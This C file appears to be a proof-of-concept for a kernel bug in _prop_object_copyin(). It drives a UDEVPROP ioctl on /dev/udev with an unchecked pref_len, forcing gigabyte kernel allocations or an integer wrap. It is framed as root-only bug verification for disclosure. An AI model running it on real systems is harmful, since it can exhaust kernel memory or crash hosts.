/*
 * DF-2231 — _prop_object_copyin() unbounded pref_len demonstrator
 *
 * Bug (sys/libprop/prop_kern.c, _prop_object_copyin):
 *   line 383:  unsigned int prop_object_copyin_limit = 65536;  // declared ...
 *   line 398:  buf = kmalloc(pref->pref_len + 1, M_TEMP, M_WAITOK);   // ... never
 *   line 399:  error = copyin(pref->pref_plist, buf, pref->pref_len); // ... checked
 *
 * pref_len (size_t, fully attacker-controlled) flows unchecked into kmalloc +
 * copyin. Manifestations observed on the default GENERIC guest:
 *
 *   * pref_len moderate-large (e.g. 1 GiB), user ptr only 64 bytes:
 *       kmalloc succeeds (kmem_slab_alloc returns a 1 GiB buffer),
 *       copyin copies until it faults off the end of the 64-byte user
 *       mapping => returns EFAULT; buffer kfree'd. Net: the kernel was
 *       forced to allocate a GIGABYTE per call with no bound check => a
 *       privileged caller can drive kernel-memory exhaustion.
 *
 *   * pref_len = SIZE_MAX (integer-overflow case): pref_len+1 == 0 =>
 *       kmalloc(0) returns the special ZERO_LENGTH_PTR (== (void*)-8 =>
 *       0xFFFFFFFFFFFFFFF8); copyin into it faults => EFAULT. (No panic
 *       because copyin swallows the fault before the unconditional
 *       buf[pref_len]='\0' store at line 404.)
 *
 * Reachability on the default GENERIC guest:
 *   The four kernel callers of prop_*_copyin[_ioctl]() are ALL privileged:
 *     - kern_udev.c:892    UDEVPROP ioctl  on /dev/udev         (root:wheel 0600)
 *     - vfs_quota.c:346    vquotactl(530)  gated by vfs_quota_enabled
 *                                                  (default 0; sysctl is RD-only)
 *     - device-mapper.c:267 dm NETBSD_DM_IOCTL on /dev/mapper/control
 *                                                  (module not loaded; 0640 root:operator)
 *     - tbridge.c:258      TBRIDGE_LOADTEST (module not loaded; 0600 root:wheel)
 *   => unprivileged trigger does NOT exist on the default kernel. This PoC
 *      runs as ROOT via /dev/udev (the only caller compiled into the base
 *      kernel) to PROVE the code claim, not to claim an unpriv->root chain.
 *
 * Usage:
 *   cc -O0 -g -o df_poc df_poc.c
 *   sudo ./df_poc <len_hex> [mapmb]    # len_hex = pref_len in hex; mapmb = mmap a
 *                                      #   mapmb MiB buffer at pref_plist so copyin
 *                                      #   succeeds (forces the kernel to hold the alloc)
 *
 * Examples:
 *   ./df_poc 0x40            # 64 bytes, valid-ish => EIO (bad XML), guest up
 *   ./df_poc 0x40000000      # 1 GiB, 64-byte user ptr => EFAULT, guest up (proves 1GiB kmalloc)
 *   ./df_poc 0xffffffffffffffff   # SIZE_MAX => EFAULT (wrap), guest up
 *
 * Must be run as root (the only reachable caller). Exits 0 if the ioctl
 * returned; if the guest panics, ssh dies (no clean exit).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/udev.h>
#include <libprop/plistref.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <unistd.h>
#include <limits.h>
#include <sys/mman.h>

int
main(int argc, char **argv)
{
	struct plistref pref;
	size_t len;
	size_t mapmb = 0;
	int fd, r;
	char small[64];

	if (argc < 2) {
		fprintf(stderr, "usage: %s <len_hex> [mapmb]\n", argv[0]);
		return 2;
	}
	len = strtoull(argv[1], NULL, 0);
	if (argc > 2)
		mapmb = (size_t)strtoull(argv[2], NULL, 0);

	memset(&pref, 0, sizeof(pref));
	memset(small, 'A', sizeof(small) - 1);
	small[sizeof(small) - 1] = '\0';

	if (mapmb > 0) {
		/* Map a large region so copyin can run to completion. */
		size_t maplen = mapmb * 1024 * 1024;
		if (maplen < len)
			maplen = len;
		void *p = mmap(NULL, maplen, PROT_READ|PROT_WRITE,
		    MAP_PRIVATE|MAP_ANON, -1, 0);
		if (p == MAP_FAILED) {
			fprintf(stderr, "[!] mmap %zu MiB failed: %s\n",
			    mapmb, strerror(errno));
			return 2;
		}
		memset(p, ' ', maplen);		/* fill with spaces = benign XML ws */
		((char *)p)[0] = '<';
		((char *)p)[1] = 'a';
		((char *)p)[2] = '>';
		((char *)p)[maplen - 2] = '<';
		((char *)p)[maplen - 1] = 'X';
		pref.pref_plist = p;
		fprintf(stderr, "[*] mapped %zu MiB at %p; pref_len=%#zx\n",
		    mapmb, p, len);
	} else {
		pref.pref_plist = small;
		fprintf(stderr, "[*] small user ptr (%p, 64B); pref_len=%#zx\n",
		    small, len);
	}
	pref.pref_len = len;

	fd = open("/dev/udev", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "[!] open /dev/udev: %s (must run as root; "
		    "node is 0600 root:wheel)\n", strerror(errno));
		return 2;
	}

	fprintf(stderr, "[*] issuing UDEVPROP ioctl...\n");
	r = ioctl(fd, UDEVPROP, &pref);
	fprintf(stderr, "[+] ioctl returned %d, errno=%d (%s)\n",
	    r, errno, strerror(errno));
	close(fd);
	return (r == 0) ? 0 : 1;
}
